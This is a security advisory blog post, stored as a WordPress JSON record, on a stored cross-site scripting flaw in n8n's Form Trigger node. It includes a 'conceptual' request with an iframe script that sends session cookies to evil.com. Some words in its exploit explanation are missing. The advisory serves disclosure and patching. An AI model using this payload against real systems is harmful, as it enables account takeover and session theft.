{"id":64321,"date":"2025-08-26T04:27:07","date_gmt":"2025-08-26T04:27:07","guid":{"rendered":""},"modified":"2025-09-16T12:32:17","modified_gmt":"2025-09-16T18:32:17","slug":"cve-2025-52478-stored-cross-site-scripting-vulnerability-in-n8n-s-form-trigger-node","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52478-stored-cross-site-scripting-vulnerability-in-n8n-s-form-trigger-node\/","title":{"rendered":"<strong>CVE-2025-52478: Stored Cross-Site Scripting Vulnerability in n8n\u2019s Form Trigger Node<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Cybersecurity is of paramount importance in the digital age, especially when it involves open-source platforms like n8n, a popular workflow automation platform. A recently discovered vulnerability, cataloged as CVE-2025-52478, has been identified as a significant security risk. It affects n8n versions from 1.77.0 to before 1.98.2 and could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49691-heap-based-buffer-overflow-in-windows-media-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"72215\">potentially lead to system<\/a> compromise or data leakage.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6679-critical-arbitrary-file-upload-vulnerability-in-bit-form-builder-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"75349\">vulnerability specifically affects the Form<\/a> Trigger node&#8217;s HTML form element, and could potentially allow an attacker to take over a user&#8217;s account by injecting malicious HTML or Javascript. This raises serious concerns over the security of user <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21432-memory-corruption-vulnerability-resulting-in-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"75350\">data and the integrity of the system<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52478<br \/>\nSeverity: High (8.7\/10 CVSS Severity Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83315\">Authenticated User<\/a>)<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential system compromise or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53495-unauthorized-access-data-leakage-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72614\">data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3598144778\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>n8n | 1.77.0 to 1.98.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability arises from inadequate input validation in n8n&#8217;s <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28243-html-injection-vulnerability-in-alteryx-server\/\"  data-wpil-monitor-id=\"72292\">Form Trigger<\/a> node&#8217;s HTML form element. An authenticated attacker can exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50240-sql-injection-vulnerability-in-nbcio-boot-v1-0-3\/\"  data-wpil-monitor-id=\"71936\">vulnerability by injecting<\/a> malicious HTML or Javascript through an  with a srcdoc payload, or by using  coupled  using an onerror event.<br \/>\nThis can result in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43932-account-takeover-vulnerability-in-jobcenter-through-password-reset-feature\/\"  data-wpil-monitor-id=\"76128\">Account Takeover<\/a> (ATO) by exfiltrating n8n-browserId and session cookies from authenticated users who visit a form crafted with malicious intent. The attacker, having these tokens and cookies, can then impersonate the victim and change account details such as email addresses, potentially gaining <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54122-unauthenticated-full-read-ssrf-vulnerability-in-manager-io-manager-accounting-software\/\"  data-wpil-monitor-id=\"72671\">full control over the account<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3250542914\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/form\/trigger HTTP\/1.1\nHost: n8n.example.com\nContent-Type: text\/html\n&lt;iframe srcdoc=&quot;&lt;script&gt;document.location=&#039;http:\/\/evil.com\/steal.php?cookie=&#039;+document.cookie;&lt;\/script&gt;&quot;&gt;&lt;\/iframe&gt;<\/code><\/pre>\n<p>This example showcases how an attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80766\">inject a malicious<\/a> script using an iframe. When the form is viewed by a user, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74597\">script gets executed<\/a>, sending the user&#8217;s cookies to the attacker&#8217;s server.<\/p>\n<p><strong>Recommendation<\/strong><\/p>\n<p>It is strongly recommended to upgrade to version 1.98.2 or greater, where this vulnerability has been patched. If immediate upgrade is not possible, use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. Furthermore, enabling 2FA on user accounts could add another layer of protection to prevent <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6186-account-takeover-vulnerability-in-gitlab-ce-ee\/\"  data-wpil-monitor-id=\"79328\">account takeovers<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Cybersecurity is of paramount importance in the digital age, especially when it involves open-source platforms like n8n, a popular workflow automation platform. A recently discovered vulnerability, cataloged as CVE-2025-52478, has been identified as a significant security risk. It affects n8n versions from 1.77.0 to before 1.98.2 and could potentially lead to system compromise or [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64321","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64321","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64321"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64321\/revisions"}],"predecessor-version":[{"id":75856,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64321\/revisions\/75856"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64321"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64321"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64321"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64321"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64321"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64321"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}